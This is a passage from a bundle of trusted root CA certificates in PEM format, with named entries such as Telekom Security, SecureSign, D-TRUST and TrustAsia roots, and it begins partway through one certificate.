hs1w/tkuFT0du7jyU1fbzMZ0KZwYszZ1OC4PVKH4kh+Jlk+71O6d6Ts2QrUKOyrUZHk2EOH5kQMr
eyBUzQ0ZGshBMjTRsJnhkB4BQDa1t/qp5Xd1pCKBXbCL5CcSD1SIxtuFdOa3wNemKfrb3vOTlycE
VS8KbzfFPROvCgCpLIscgSjX74Yxqa7ybrjKaixUR9gqiC6vwQcQeKwRoi9C8DfF8rhW3Q5iLc4t
Vn5V8qdE9isy9COoR+jUKgF4z2rDN6ieZdIs5fq6M8EGRPbmz6UNp2YINIos8wIDAQABo0IwQDAP
BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUR9DnsSL/nSz12Vdgs7Gx
cJXvYXowDQYJKoZIhvcNAQELBQADggIBAIZpsU0v6Z9PIpNojuQhmaPORVMbc0RTAIFhzTHjCLqB
KCh6krm2qMhDnscTJk3C2OVVnJJdUNjCK9v+5qiXz1I6JMNlZFxHMaNlNRPDk7n3+VGXu6TwYofF
1gbTl4MgqX67tiHCpQ2EAOHyJxCDut0DgdXdaMNmEMjRdrSzbymeAPnCKfWxkxlSaRosTKCL4BWa
MS/TiJVZbuXEs1DIFAhKm4sTg7GkcrI7djNB3NyqpgdvHSQSn8h2vS/ZjvQs7rfSOBAkNlEv41xd
gSGn2rtO/+YHqP65DSdsu3BaVXoT6fEqSWnHX4dXTEN5bTpl6TBcQe7rd6VzEojov32u5cSoHw2O
HG1QAk8mGEPej1WFsQs3BWDJVTkSBKEqz3EWnzZRSb9wO55nnPt7eck5HHisd5FUmrh1CoFSl+Nm
YWvtPjgelmFV4ZFUjO2MJB+ByRCac5krFk5yAD9UG/iNuovnFNa2RU9g7Jauwy8CTl2dlklyALKr
dVwPaFsdZcJfMw8eD/A7hvWwTruc9+olBdytoptLFwG+Qt81IR2tq670v64fG9PiO/yzcnMcmyiQ
iRM9HcEARwmWmjgb3bHPDcK0RPOWlc4yOo80nOAXx17Org3bhzjlP1v9mxnhMUF6cKojawHhRUzN
lM47ni3niAIi9G7oyOzWPPO5std3eqx7
-----END CERTIFICATE-----

Telekom Security TLS ECC Root 2020
==================================
-----BEGIN CERTIFICATE-----
MIICQjCCAcmgAwIBAgIQNjqWjMlcsljN0AFdxeVXADAKBggqhkjOPQQDAzBjMQswCQYDVQQGEwJE
RTEnMCUGA1UECgweRGV1dHNjaGUgVGVsZWtvbSBTZWN1cml0eSBHbWJIMSswKQYDVQQDDCJUZWxl
a29tIFNlY3VyaXR5IFRMUyBFQ0MgUm9vdCAyMDIwMB4XDTIwMDgyNTA3NDgyMFoXDTQ1MDgyNTIz
NTk1OVowYzELMAkGA1UEBhMCREUxJzAlBgNVBAoMHkRldXRzY2hlIFRlbGVrb20gU2VjdXJpdHkg
R21iSDErMCkGA1UEAwwiVGVsZWtvbSBTZWN1cml0eSBUTFMgRUNDIFJvb3QgMjAyMDB2MBAGByqG
SM49AgEGBSuBBAAiA2IABM6//leov9Wq9xCazbzREaK9Z0LMkOsVGJDZos0MKiXrPk/OtdKPD/M1
2kOLAoC+b1EkHQ9rK8qfwm9QMuU3ILYg/4gND21Ju9sGpIeQkpT0CdDPf8iAC8GXs7s1J8nCG6NC
MEAwHQYDVR0OBBYEFONyzG6VmUex5rNhTNHLq+O6zd6fMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P
AQH/BAQDAgEGMAoGCCqGSM49BAMDA2cAMGQCMHVSi7ekEE+uShCLsoRbQuHmKjYC2qBuGT8lv9pZ
Mo7k+5Dck2TOrbRBR2Diz6fLHgIwN0GMZt9Ba9aDAEH9L1r3ULRn0SyocddDypwnJJGDSA3PzfdU
ga/sf+Rn27iQ7t0l
-----END CERTIFICATE-----

Telekom Security TLS RSA Root 2023
==================================
-----BEGIN CERTIFICATE-----
MIIFszCCA5ugAwIBAgIQIZxULej27HF3+k7ow3BXlzANBgkqhkiG9w0BAQwFADBjMQswCQYDVQQG
EwJERTEnMCUGA1UECgweRGV1dHNjaGUgVGVsZWtvbSBTZWN1cml0eSBHbWJIMSswKQYDVQQDDCJU
ZWxla29tIFNlY3VyaXR5IFRMUyBSU0EgUm9vdCAyMDIzMB4XDTIzMDMyODEyMTY0NVoXDTQ4MDMy
NzIzNTk1OVowYzELMAkGA1UEBhMCREUxJzAlBgNVBAoMHkRldXRzY2hlIFRlbGVrb20gU2VjdXJp
dHkgR21iSDErMCkGA1UEAwwiVGVsZWtvbSBTZWN1cml0eSBUTFMgUlNBIFJvb3QgMjAyMzCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAO01oYGA88tKaVvC+1GDrib94W7zgRJ9cUD/h3VC
KSHtgVIs3xLBGYSJwb3FKNXVS2xE1kzbB5ZKVXrKNoIENqil/Cf2SfHVcp6R+SPWcHu79ZvB7JPP
GeplfohwoHP89v+1VmLhc2o0mD6CuKyVU/QBoCcHcqMAU6DksquDOFczJZSfvkgdmOGjup5czQRx
UX11eKvzWarE4GC+j4NSuHUaQTXtvPM6Y+mpFEXX5lLRbtLevOP1Czvm4MS9Q2QTps70mDdsipWo
l8hHD/BeEIvnHRz+sTugBTNoBUGCwQMrAcjnj02r6LX2zWtEtefdi+zqJbQAIldNsLGyMcEWzv/9
FIS3R/qy8XDe24tsNlikfLMR0cN3f1+2JeANxdKz+bi4d9s3cXFH42AYTyS2dTd4uaNir73Jco4v
zLuu2+QVUhkHM/tqty1LkCiCc/4YizWN26cEar7qwU02OxY2kTLvtkCJkUPg8qKrBC7m8kwOFjQg
rIfBLX7JZkcXFBGk8/ehJImr2BrIoVyxo/eMbcgByU/J7MT8rFEz0ciD0cmfHdRHNCk+y7AO+oML
KFjlKdw/fKifybYKu6boRhYPluV75Gp6SG12mAWl3G0eQh5C2hrgUve1g8Aae3g1LDj1H/1Joy7S
WWO/gLCMk3PLNaaZlSJhZQNg+y+TS/qanIA7AgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBBjAdBgNV
HQ4EFgQUtqeXgj10hZv3PJ+TmpV5dVKMbUcwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBS2
p5eCPXSFm/c8n5OalXl1UoxtRzANBgkqhkiG9w0BAQwFAAOCAgEAqMxhpr51nhVQpGv7qHBFfLp+
sVr8WyP6Cnf4mHGCDG3gXkaqk/QeoMPhk9tLrbKmXauw1GLLXrtm9S3ul0A8Yute1hTWjOKWi0Fp
kzXmuZlrYrShF2Y0pmtjxrlO8iLpWA1WQdH6DErwM807u20hOq6OcrXDSvvpfeWxm4bu4uB9tPcy
/SKE8YXJN3nptT+/XOR0so8RYgDdGGah2XsjX/GO1WfoVNpbOms2b/mBsTNHM3dA+VKq3dSDz4V4
mZqTuXNnQkYRIer+CqkbGmVps4+uFrb2S1ayLfmlyOw7YqPta9BO1UAJpB+Y1zqlklkg5LB9zVtz
aL1txKITDmcZuI1CfmwMmm6gJC3VRRvcxAIU/oVbZZfKTpBQCHpCNfnqwmbU+AGuHrS+w6jv/naa
oqYfRvaE7fzbzsQCzndILIyy7MMAo+wsVRjBfhnu4S/yrYObnqsZ38aKL4x35bcF7DvB7L6Gs4a8
wPfc5+pbrrLMtTWGS9DiP7bY+A4A7l3j941Y/8+LN+ljX273CXE2whJdV/LItM3z7gLfEdxquVeE
HVlNjM7IDiPCtyaaEBRx/pOyiriA8A4QntOoUAw3gi/q4Iqd4Sw5/7W0cwDk90imc6y/st53BIe0
o82bNSQ3+pCTE4FCxpgmdTdmQRCsu/WU48IxK63nI1bMNSWSs1A=
-----END CERTIFICATE-----

FIRMAPROFESIONAL CA ROOT-A WEB
==============================
-----BEGIN CERTIFICATE-----
MIICejCCAgCgAwIBAgIQMZch7a+JQn81QYehZ1ZMbTAKBggqhkjOPQQDAzBuMQswCQYDVQQGEwJF
UzEcMBoGA1UECgwTRmlybWFwcm9mZXNpb25hbCBTQTEYMBYGA1UEYQwPVkFURVMtQTYyNjM0MDY4
MScwJQYDVQQDDB5GSVJNQVBST0ZFU0lPTkFMIENBIFJPT1QtQSBXRUIwHhcNMjIwNDA2MDkwMTM2
WhcNNDcwMzMxMDkwMTM2WjBuMQswCQYDVQQGEwJFUzEcMBoGA1UECgwTRmlybWFwcm9mZXNpb25h
bCBTQTEYMBYGA1UEYQwPVkFURVMtQTYyNjM0MDY4MScwJQYDVQQDDB5GSVJNQVBST0ZFU0lPTkFM
IENBIFJPT1QtQSBXRUIwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAARHU+osEaR3xyrq89Zfe9MEkVz6
iMYiuYMQYneEMy3pA4jU4DP37XcsSmDq5G+tbbT4TIqk5B/K6k84Si6CcyvHZpsKjECcfIr28jlg
st7L7Ljkb+qbXbdTkBgyVcUgt5SjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUk+FD
Y1w8ndYn81LsF7Kpryz3dvgwHQYDVR0OBBYEFJPhQ2NcPJ3WJ/NS7Beyqa8s93b4MA4GA1UdDwEB
/wQEAwIBBjAKBggqhkjOPQQDAwNoADBlAjAdfKR7w4l1M+E7qUW/Runpod3JIha3RxEL2Jq68cgL
cFBTApFwhVmpHqTm6iMxoAACMQD94vizrxa5HnPEluPBMBnYfubDl94cT7iJLzPrSA8Z94dGXSaQ
pYXFuXqUPoeovQA=
-----END CERTIFICATE-----

TWCA CYBER Root CA
==================
-----BEGIN CERTIFICATE-----
MIIFjTCCA3WgAwIBAgIQQAE0jMIAAAAAAAAAATzyxjANBgkqhkiG9w0BAQwFADBQMQswCQYDVQQG
EwJUVzESMBAGA1UEChMJVEFJV0FOLUNBMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJUV0NB
IENZQkVSIFJvb3QgQ0EwHhcNMjIxMTIyMDY1NDI5WhcNNDcxMTIyMTU1OTU5WjBQMQswCQYDVQQG
EwJUVzESMBAGA1UEChMJVEFJV0FOLUNBMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJUV0NB
IENZQkVSIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDG+Moe2Qkgfh1s
Ts6P40czRJzHyWmqOlt47nDSkvgEs1JSHWdyKKHfi12VCv7qze33Kc7wb3+szT3vsxxFavcokPFh
V8UMxKNQXd7UtcsZyoC5dc4pztKFIuwCY8xEMCDa6pFbVuYdHNWdZsc/34bKS1PE2Y2yHer43CdT
o0fhYcx9tbD47nORxc5zb87uEB8aBs/pJ2DFTxnk684iJkXXYJndzk834H/nY62wuFm40AZoNWDT
Nq5xQwTxaWV4fPMf88oon1oglWa0zbfuj3ikRRjpJi+NmykosaS3Om251Bw4ckVYsV7r8Cibt4LK
/c/WMw+f+5eesRycnupfXtuq3VTpMCEobY5583WSjCb+3MX2w7DfRFlDo7YDKPYIMKoNM+HvnKkH
IuNZW0CP2oi3aQiotyMuRAlZN1vH4xfyIutuOVLF3lSnmMlLIJXcRolftBL5hSmO68gnFSDAS9TM
fAxsNAwmmyYxpjyn9tnQS6Jk/zuZQXLB4HCX8SS7K8R0IrGsayIyJNN4KsDAoS/xUgXJP+92ZuJF
2A09rZXIx4kmyA+upwMu+8Ff+iDhcK2wZSA3M2Cw1a/XDBzCkHDXShi8fgGwsOsVHkQGzaRP6AzR
wyAQ4VRlnrZR0Bp2a0JaWHY06rc3Ga4udfmW5cFZ95RXKSWNOkyrTZpB0F8mAwIDAQABo2MwYTAO
BgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBSdhWEUfMFib5do5E83
QOGt4A1WNzAdBgNVHQ4EFgQUnYVhFHzBYm+XaORPN0DhreANVjcwDQYJKoZIhvcNAQEMBQADggIB
AGSPesRiDrWIzLjHhg6hShbNcAu3p4ULs3a2D6f/CIsLJc+o1IN1KriWiLb73y0ttGlTITVX1olN
c79pj3CjYcya2x6a4CD4bLubIp1dhDGaLIrdaqHXKGnK/nZVekZn68xDiBaiA9a5F/gZbG0jAn/x
X9AKKSM70aoK7akXJlQKTcKlTfjF/biBzysseKNnTKkHmvPfXvt89YnNdJdhEGoHK4Fa0o635yDR
IG4kqIQnoVesqlVYL9zZyvpoBJ7tRCT5dEA7IzOrg1oYJkK2bVS1FmAwbLGg+LhBoF1JSdJlBTrq
/p1hvIbZv97Tujqxf36SNI7JAG7cmL3c7IAFrQI932XtCwP39xaEBDG6k5TY8hL4iuO/Qq+n1M0R
FxbIQh0UqEL20kCGoE8jypZFVmAGzbdVAaYBlGX+bgUJurSkquLvWL69J1bY73NxW0Qz8ppy6rBe
Pm6pUlvscG21h483XjyMnM7k8M4MZ0HMzvaAq07MTFb1wWFZk7Q+ptq4NxKfKjLji7gh7MMrZQzv
It6IKTtM1/r+t+FHvpw+PoP7UV31aPcuIYXcv/Fa4nzXxeSDwWrruoBa3lwtcHb4yOWHh8qgnaHl
IhInD0Q9HWzq1MKLL295q39QpsQZp6F6t5b5wR9iWqJDB0BeJsas7a5wFsWqynKKTbDPAYsDP27X
-----END CERTIFICATE-----

SecureSign Root CA12
====================
-----BEGIN CERTIFICATE-----
MIIDcjCCAlqgAwIBAgIUZvnHwa/swlG07VOX5uaCwysckBYwDQYJKoZIhvcNAQELBQAwUTELMAkG
A1UEBhMCSlAxIzAhBgNVBAoTGkN5YmVydHJ1c3QgSmFwYW4gQ28uLCBMdGQuMR0wGwYDVQQDExRT
ZWN1cmVTaWduIFJvb3QgQ0ExMjAeFw0yMDA0MDgwNTM2NDZaFw00MDA0MDgwNTM2NDZaMFExCzAJ
BgNVBAYTAkpQMSMwIQYDVQQKExpDeWJlcnRydXN0IEphcGFuIENvLiwgTHRkLjEdMBsGA1UEAxMU
U2VjdXJlU2lnbiBSb290IENBMTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6OcE3
emhFKxS06+QT61d1I02PJC0W6K6OyX2kVzsqdiUzg2zqMoqUm048luT9Ub+ZyZN+v/mtp7JIKwcc
J/VMvHASd6SFVLX9kHrko+RRWAPNEHl57muTH2SOa2SroxPjcf59q5zdJ1M3s6oYwlkm7Fsf0uZl
fO+TvdhYXAvA42VvPMfKWeP+bl+sg779XSVOKik71gurFzJ4pOE+lEa+Ym6b3kaosRbnhW70CEBF
EaCeVESE99g2zvVQR9wsMJvuwPWW0v4JhscGWa5Pro4RmHvzC1KqYiaqId+OJTN5lxZJjfU+1Uef
NzFJM3IFTQy2VYzxV4+Kh9GtxRESOaCtAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P
AQH/BAQDAgEGMB0GA1UdDgQWBBRXNPN0zwRL1SXm8UC2LEzZLemgrTANBgkqhkiG9w0BAQsFAAOC
AQEAPrvbFxbS8hQBICw4g0utvsqFepq2m2um4fylOqyttCg6r9cBg0krY6LdmmQOmFxv3Y67ilQi
LUoT865AQ9tPkbeGGuwAtEGBpE/6aouIs3YIcipJQMPTw4WJmBClnW8Zt7vPemVV2zfrPIpyMpce
mik+rY3moxtt9XUa5rBouVui7mlHJzWhhpmA8zNL4WukJsPvdFlseqJkth5Ew1DgDzk9qTPxpfPS
vWKErI4cqc1avTc7bgoitPQV55FYxTpE05Uo2cBl6XLK0A+9H7MV2anjpEcJnuDLN/v9vZfVvhga
aaI5gdka9at/yOPiZwud9AzqVN/Ssq+xIvEg37xEHA==
-----END CERTIFICATE-----

SecureSign Root CA14
====================
-----BEGIN CERTIFICATE-----
MIIFcjCCA1qgAwIBAgIUZNtaDCBO6Ncpd8hQJ6JaJ90t8sswDQYJKoZIhvcNAQEMBQAwUTELMAkG
A1UEBhMCSlAxIzAhBgNVBAoTGkN5YmVydHJ1c3QgSmFwYW4gQ28uLCBMdGQuMR0wGwYDVQQDExRT
ZWN1cmVTaWduIFJvb3QgQ0ExNDAeFw0yMDA0MDgwNzA2MTlaFw00NTA0MDgwNzA2MTlaMFExCzAJ
BgNVBAYTAkpQMSMwIQYDVQQKExpDeWJlcnRydXN0IEphcGFuIENvLiwgTHRkLjEdMBsGA1UEAxMU
U2VjdXJlU2lnbiBSb290IENBMTQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDF0nqh
1oq/FjHQmNE6lPxauG4iwWL3pwon71D2LrGeaBLwbCRjOfHw3xDG3rdSINVSW0KZnvOgvlIfX8xn
bacuUKLBl422+JX1sLrcneC+y9/3OPJH9aaakpUqYllQC6KxNedlsmGy6pJxaeQp8E+BgQQ8sqVb
1MWoWWd7VRxJq3qdwudzTe/NCcLEVxLbAQ4jeQkHO6Lo/IrPj8BGJJw4J+CDnRugv3gVEOuGTgpa
/d/aLIJ+7sr2KeH6caH3iGicnPCNvg9JkdjqOvn90Ghx2+m1K06Ckm9mH+Dw3EzsytHqunQG+bOE
kJTRX45zGRBdAuVwpcAQ0BB8b8VYSbSwbprafZX1zNoCr7gsfXmPvkPx+SgojQlD+Ajda8iLLCSx
jVIHvXiby8posqTdDEx5YMaZ0ZPxMBoH064iwurO8YQJzOAUbn8/ftKChazcqRZOhaBgy/ac18iz
ju3Gm5h1DVXoX+WViwKkrkMpKBGk5hIwAUt1ax5mnXkvpXYvHUC0bcl9eQjs0Wq2XSqypWa9a4X0
dFbD9ed1Uigspf9mR6XU/v6eVL9lfgHWMI+lNpyiUBzuOIABSMbHdPTGrMNASRZhdCyvjG817XsY
AFs2PJxQDcqSMxDxJklt33UkN4Ii1+iW/RVLApY+B3KVfqs9TC7XyvDf4Fg/LS8EmjijAQIDAQAB
o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUBpOjCl4oaTeq
YR3r6/wtbyPk86AwDQYJKoZIhvcNAQEMBQADggIBAJaAcgkGfpzMkwQWu6A6jZJOtxEaCnFxEM0E
rX+lRVAQZk5KQaID2RFPeje5S+LGjzJmdSX7684/AykmjbgWHfYfM25I5uj4V7Ibed87hwriZLoA
ymzvftAj63iP/2SbNDefNWWipAA9EiOWWF3KY4fGoweITedpdopTzfFP7ELyk+OZpDc8h7hi2/Ds
Hzc/N19DzFGdtfCXwreFamgLRB7lUe6TzktuhsHSDCRZNhqfLJGP4xjblJUK7ZGqDpncllPjYYPG
FrojutzdfhrGe0K22VoF3Jpf1d+42kd92jjbrDnVHmtsKheMYc2xbXIBw8MgAGJoFjHVdqqGuw6q
nsb58Nn4DSEC5MUoFlkRudlpcyqSeLiSV5sI8jrlL5WwWLdrIBRtFO8KvH7YVdiI2i/6GaX7i+B/
OfVyK4XELKzvGUWSTLNhB9xNH27SgRNcmvMSZ4PPmz+Ln52kuaiWA3rF7iDeM9ovnhp6dB7h7sxa
OgTdsxoEqBRjrLdHEoOabPXm6RUVkRqEGQ6UROcSjiVbgGcZ3GOTEAtlLor6CZpO2oYofaphNdgO
pygau1LgePhsumywbrmHXumZNTfxPWQrqaA0k89jL9WB365jJ6UeTo3cKXhZ+PmhIIynJkBugnLN
eLLIjzwec+fBH7/PzqUqm9tEZDKgu39cJRNItX+S
-----END CERTIFICATE-----

SecureSign Root CA15
====================
-----BEGIN CERTIFICATE-----
MIICIzCCAamgAwIBAgIUFhXHw9hJp75pDIqI7fBw+d23PocwCgYIKoZIzj0EAwMwUTELMAkGA1UE
BhMCSlAxIzAhBgNVBAoTGkN5YmVydHJ1c3QgSmFwYW4gQ28uLCBMdGQuMR0wGwYDVQQDExRTZWN1
cmVTaWduIFJvb3QgQ0ExNTAeFw0yMDA0MDgwODMyNTZaFw00NTA0MDgwODMyNTZaMFExCzAJBgNV
BAYTAkpQMSMwIQYDVQQKExpDeWJlcnRydXN0IEphcGFuIENvLiwgTHRkLjEdMBsGA1UEAxMUU2Vj
dXJlU2lnbiBSb290IENBMTUwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQLUHSNZDKZmbPSYAi4Io5G
dCx4wCtELW1fHcmuS1Iggz24FG1Th2CeX2yF2wYUleDHKP+dX+Sq8bOLbe1PL0vJSpSRZHX+AezB
2Ot6lHhWGENfa4HL9rzatAy2KZMIaY+jQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQD
AgEGMB0GA1UdDgQWBBTrQciu/NWeUUj1vYv0hyCTQSvT9DAKBggqhkjOPQQDAwNoADBlAjEA2S6J
fl5OpBEHvVnCB96rMjhTKkZEBhd6zlHp4P9mLQlO4E/0BdGF9jVg3PVys0Z9AjBEmEYagoUeYWmJ
SwdLZrWeqrqgHkHZAXQ6bkU6iYAZezKYVWOr62Nuk22rGwlgMU4=
-----END CERTIFICATE-----

D-TRUST BR Root CA 2 2023
=========================
-----BEGIN CERTIFICATE-----
MIIFqTCCA5GgAwIBAgIQczswBEhb2U14LnNLyaHcZjANBgkqhkiG9w0BAQ0FADBIMQswCQYDVQQG
EwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEJSIFJvb3QgQ0Eg
MiAyMDIzMB4XDTIzMDUwOTA4NTYzMVoXDTM4MDUwOTA4NTYzMFowSDELMAkGA1UEBhMCREUxFTAT
BgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDIgMjAyMzCC
AiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK7/CVmRgApKaOYkP7in5Mg6CjoWzckjYaCT
cfKri3OPoGdlYNJUa2NRb0kz4HIHE304zQaSBylSa053bATTlfrdTIzZXcFhfUvnKLNEgXtRr90z
sWh81k5M/itoucpmacTsXld/9w3HnDY25QdgrMBM6ghs7wZ8T1soegj8k12b9py0i4a6Ibn08OhZ
WiihNIQaJZG2tY/vsvmA+vk9PBFy2OMvhnbFeSzBqZCTRphny4NqoFAjpzv2gTng7fC5v2Xx2Mt6
++9zA84A9H3X4F07ZrjcjrqDy4d2A/wl2ecjbwb9Z/Pg/4S8R7+1FhhGaRTMBffb00msa8yr5LUL
QyReS2tNZ9/WtT5PeB+UcSTq3nD88ZP+npNa5JRal1QMNXtfbO4AHyTsA7oC9Xb0n9Sa7YUsOCIv
x9gvdhFP/Wxc6PWOJ4d/GUohR5AdeY0cW/jPSoXk7bNbjb7EZChdQcRurDhaTyN0dKkSw/bSuREV
MweR2Ds3OmMwBtHFIjYoYiMQ4EbMl6zWK11kJNXuHA7e+whadSr2Y23OC0K+0bpwHJwh5Q8xaRfX
/Aq03u2AnMuStIv13lmiWAmlY0cL4UEyNEHZmrHZqLAbWt4NDfTisl01gLmB1IRpkQLLddCNxbU9
CZEJjxShFHR5PtbJFR2kWVki3PaKRT08EtY+XTIvAgMBAAGjgY4wgYswDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQUZ5Dw1t61GNVGKX5cq/ieCLxklRAwDgYDVR0PAQH/BAQDAgEGMEkGA1UdHwRC
MEAwPqA8oDqGOGh0dHA6Ly9jcmwuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3RfYnJfcm9vdF9jYV8y
XzIwMjMuY3JsMA0GCSqGSIb3DQEBDQUAA4ICAQA097N3U9swFrktpSHxQCF16+tIFoE9c+CeJyrr
d6kTpGoKWloUMz1oH4Guaf2Mn2VsNELZLdB/eBaxOqwjMa1ef67nriv6uvw8l5VAk1/DLQOj7aRv
U9f6QA4w9QAgLABMjDu0ox+2v5Eyq6+SmNMW5tTRVFxDWy6u71cqqLRvpO8NVhTaIasgdp4D/Ca4
nj8+AybmTNudX0KEPUUDAxxZiMrcLmEkWqTqJwtzEr5SswrPMhfiHocaFpVIbVrg0M8JkiZmkdij
YQ6qgYF/6FKC0ULn4B0Y+qSFNueG4A3rvNTJ1jxD8V1Jbn6Bm2m1iWKPiFLY1/4nwSPFyysCu7Ff
/vtDhQNGvl3GyiEm/9cCnnRK3PgTFbGBVzbLZVzRHTF36SXDw7IyN9XxmAnkbWOACKsGkoHU6XCP
pz+y7YaMgmo1yEJagtFSGkUPFaUA8JR7ZSdXOUPPfH/mvTWze/EZTN46ls/pdu4D58JDUjxqgejB
WoC9EV2Ta/vH5mQ/u2kc6d0li690yVRAysuTEwrt+2aSEcr1wPrYg1UDfNPFIkZ1cGt5SAYqgpq/
5usWDiJFAbzdNpQ0qTUmiteXue4Icr80knCDgKs4qllo3UCkGJCy89UDyibK79XH4I9TjvAA46jt
n/mtd+ArY0+ew+43u3gJhJ65bvspmZDogNOfJA==
-----END CERTIFICATE-----

TrustAsia TLS ECC Root CA
=========================
-----BEGIN CERTIFICATE-----
MIICMTCCAbegAwIBAgIUNnThTXxlE8msg1UloD5Sfi9QaMcwCgYIKoZIzj0EAwMwWDELMAkGA1UE
BhMCQ04xJTAjBgNVBAoTHFRydXN0QXNpYSBUZWNobm9sb2dpZXMsIEluYy4xIjAgBgNVBAMTGVRy
dXN0QXNpYSBUTFMgRUNDIFJvb3QgQ0EwHhcNMjQwNTE1MDU0MTU2WhcNNDQwNTE1MDU0MTU1WjBY
MQswCQYDVQQGEwJDTjElMCMGA1UEChMcVHJ1c3RBc2lhIFRlY2hub2xvZ2llcywgSW5jLjEiMCAG
A1UEAxMZVHJ1c3RBc2lhIFRMUyBFQ0MgUm9vdCBDQTB2MBAGByqGSM49AgEGBSuBBAAiA2IABLh/
pVs/AT598IhtrimY4ZtcU5nb9wj/1WrgjstEpvDBjL1P1M7UiFPoXlfXTr4sP/MSpwDpguMqWzJ8
S5sUKZ74LYO1644xST0mYekdcouJtgq7nDM1D9rs3qlKH8kzsaNCMEAwDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQULIVTu7FDzTLqnqOH/qKYqKaT6RAwDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49
BAMDA2gAMGUCMFRH18MtYYZI9HlaVQ01L18N9mdsd0AaRuf4aFtOJx24mH1/k78ITcTaRTChD15K
eAIxAKORh/IRM4PDwYqROkwrULG9IpRdNYlzg8WbGf60oenUoWa2AaU2+dhoYSi3dOGiMQ==
-----END CERTIFICATE-----

TrustAsia TLS RSA Root CA
=========================
-----BEGIN CERTIFICATE-----
MIIFgDCCA2igAwIBAgIUHBjYz+VTPyI1RlNUJDxsR9FcSpwwDQYJKoZIhvcNAQEMBQAwWDELMAkG
A1UEBhMCQ04xJTAjBgNVBAoTHFRydXN0QXNpYSBUZWNobm9sb2dpZXMsIEluYy4xIjAgBgNVBAMT
GVRydXN0QXNpYSBUTFMgUlNBIFJvb3QgQ0EwHhcNMjQwNTE1MDU0MTU3WhcNNDQwNTE1MDU0MTU2
WjBYMQswCQYDVQQGEwJDTjElMCMGA1UEChMcVHJ1c3RBc2lhIFRlY2hub2xvZ2llcywgSW5jLjEi
MCAGA1UEAxMZVHJ1c3RBc2lhIFRMUyBSU0EgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIP
ADCCAgoCggIBAMMWuBtqpERz5dZO9LnPWwvB0ZqB9WOwj0PBuwhaGnrhB3YmH49pVr7+NmDQDIPN
lOrnxS1cLwUWAp4KqC/lYCZUlviYQB2srp10Zy9U+5RjmOMmSoPGlbYJQ1DNDX3eRA5gEk9bNb2/
mThtfWza4mhzH/kxpRkQcwUqwzIZheo0qt1CHjCNP561HmHVb70AcnKtEj+qpklz8oYVlQwQX1Fk
zv93uMltrOXVmPGZLmzjyUT5tUMnCE32ft5EebuyjBza00tsLtbDeLdM1aTk2tyKjg7/D8OmYCYo
zza/+lcK7Fs/6TAWe8TbxNRkoDD75f0dcZLdKY9BWN4ArTr9PXwaqLEX8E40eFgl1oUh63kd0Nyr
z2I8sMeXi9bQn9P+PN7F4/w6g3CEIR0JwqH8uyghZVNgepBtljhb//HXeltt08lwSUq6HTrQUNoy
IBnkiz/r1RYmNzz7dZ6wB3C4FGB33PYPXFIKvF1tjVEK2sUYyJtt3LCDs3+jTnhMmCWr8n4uIF6C
FabW2I+s5c0yhsj55NqJ4js+k8UTav/H9xj8Z7XvGCxUq0DTbE3txci3OE9kxJRMT6DNrqXGJyV1
J23G2pyOsAWZ1SgRxSHUuPzHlqtKZFlhaxP8S8ySpg+kUb8OWJDZgoM5pl+z+m6Ss80zDoWo8SnT
q1mt1tve1CuBAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFLgHkXlcBvRG/XtZ
ylomkadFK/hTMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQwFAAOCAgEAIZtqBSBdGBanEqT3
Rz/NyjuujsCCztxIJXgXbODgcMTWltnZ9r96nBO7U5WS/8+S4PPFJzVXqDuiGev4iqME3mmL5Dw8
veWv0BIb5Ylrc5tvJQJLkIKvQMKtuppgJFqBTQUYo+IzeXoLH5Pt7DlK9RME7I10nYEKqG/odv6L
TytpEoYKNDbdgptvT+Bz3Ul/KD7JO6NXBNiT2Twp2xIQaOHEibgGIOcberyxk2GaGUARtWqFVwHx
tlotJnMnlvm5P1vQiJ3koP26TpUJg3933FEFlJ0gcXax7PqJtZwuhfG5WyRasQmr2soaB82G39tp
27RIGAAtvKLEiUUjpQ7hRGU+isFqMB3iYPg6qocJQrmBktwliJiJ8Xw18WLK7nn4GS/+X/jbh87q
qA8MpugLoDzga5SYnH+tBuYc6kIQX+ImFTw3OffXvO645e8D7r0i+yiGNFjEWn9hongPXvPKnbwb
PKfILfanIhHKA9jnZwqKDss1jjQ52MjqjZ9k4DewbNfFj8GQYSbbJIweSsCI3zWQzj8C9GRh3sfI
B5XeMhg6j6JCQCTl1jNdfK7vsU1P1FeQNWrcrgSXSYk0ly4wBOeY99sLAZDBHwo/+ML+TvrbmnNz
FrwFuHnYWa8G5z9nODmxfKuU4CkUpijy323imttUQ/hHWKNddBWcwauwxzQ=
-----END CERTIFICATE-----

